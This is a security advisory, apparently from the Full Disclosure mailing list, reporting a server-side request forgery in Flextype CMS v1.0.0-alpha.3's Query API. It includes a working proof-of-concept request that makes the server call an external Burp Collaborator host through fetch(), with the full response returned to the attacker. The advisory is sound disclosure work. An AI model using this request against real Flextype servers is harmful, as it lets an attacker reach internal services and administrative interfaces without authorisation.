Flextype v1.0.0-alpha.3 Server-Side Request Forgery via fetch() in Query API

2026-9-4 00:13:11 Author: seclists.org(查看原文) 阅读量:2 收藏

Description

Flextype CMS v1.0.0-alpha.3 contains a server-side request forgery (SSRF)
vulnerability in the expression-processing functionality exposed through
the /api/v1/query endpoint. An authenticated remote attacker can supply an
arbitrary URL to the exposed fetch() function, causing the Flextype server
to initiate an outbound HTTP request to an attacker-controlled destination.

The application does not sufficiently restrict the destination supplied to
fetch(). Testing confirmed that an attacker-controlled expression submitted
through the Query API caused the Flextype server to connect to an external
Burp Collaborator endpoint.

The HTTP response received by the Flextype server, including its status
code, response headers, and response body, was subsequently returned to the
attacker through the API response. The vulnerability therefore provides a
non-blind SSRF primitive and allows an attacker to interact with network
resources from the security context and network position of the Flextype
server.
Impact

Successful exploitation allows an authenticated remote attacker to cause
the Flextype server to initiate arbitrary server-side HTTP requests.

Because the response to the server-side request is returned through the
Query API, an attacker may potentially use the vulnerability to enumerate
and interact with HTTP services accessible from the Flextype host,
including services that are not directly accessible from the attacker's
network location.

Depending on the deployment environment and network configuration,
potential targets may include internal web applications, administrative
interfaces, loopback services, private network resources, and other
HTTP-accessible infrastructure reachable by the Flextype server.

The demonstrated vulnerability is non-blind because response data from the
requested destination is returned to the attacker.
DetailsServer-Side Request Forgery via fetch()

The /api/v1/query endpoint accepts expressions that are evaluated by the
Flextype expression-processing environment. The environment exposes a
fetch() function capable of initiating HTTP requests.

An authenticated attacker can provide an attacker-controlled URL to this
function.

The following request instructs the Flextype server to request an external
Burp Collaborator endpoint:

POST /api/v1/query HTTP/1.1
Host: 127.0.0.1:18080
Content-Type: application/json

{"token":"lab-token","access_token":"password","query":{"ssrf":"fetch('http://042--snip--.oastify.com&apos;)"}}

The server responds with the result of the outbound request:

HTTP/1.1 200 OK
Host: 127.0.0.1:18080
Date: Mon, 31 Aug 2026 01:49:16 GMT
Connection: close
X-Powered-By: PHP/8.1.34
Set-Cookie: Flextype=438637f69a696e857bd9c8446fe7c8d3; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Type: application/json;charset=UTF-8
Content-Length: 269
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-Requested-With, Content-Type, Accept,
Origin, Authorization
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONS
Access-Control-Allow-Expose:
Access-Control-Allow-Credentials: false

{"ssrf":{"reasonPhrase":"OK","statusCode":200,"headers":{"Server":["Burp
Collaborator 
https://burpcollaborator.net/"],"X-Collaborator-Version":["4"],"Content-Type":["text/html"],"Content-Length":["55"]},"body":";<html><body>2trzdergwz6ntzdoje2rmtzjjgmgz</body></html>"}}

The returned data identifies the destination as a Burp Collaborator server:

Server: Burp Collaborator https://burpcollaborator.net/
X-Collaborator-Version: 4

Additionally, the destination's response body is returned through Flextype:

<html><body>2trzdergwz6ntzdoje2rmtzjjgmgz</body></html>

This demonstrates that the request originates from the Flextype server and
that response data is made available to the authenticated attacker.

Ron Edgerson
Vulnerability Researcher & Exploit Developer

CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure • Proof-of-Concept Development

🌐 https://github.com/ob1sec
🔗 https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/

Full Disclosure mailing list archives

Current thread: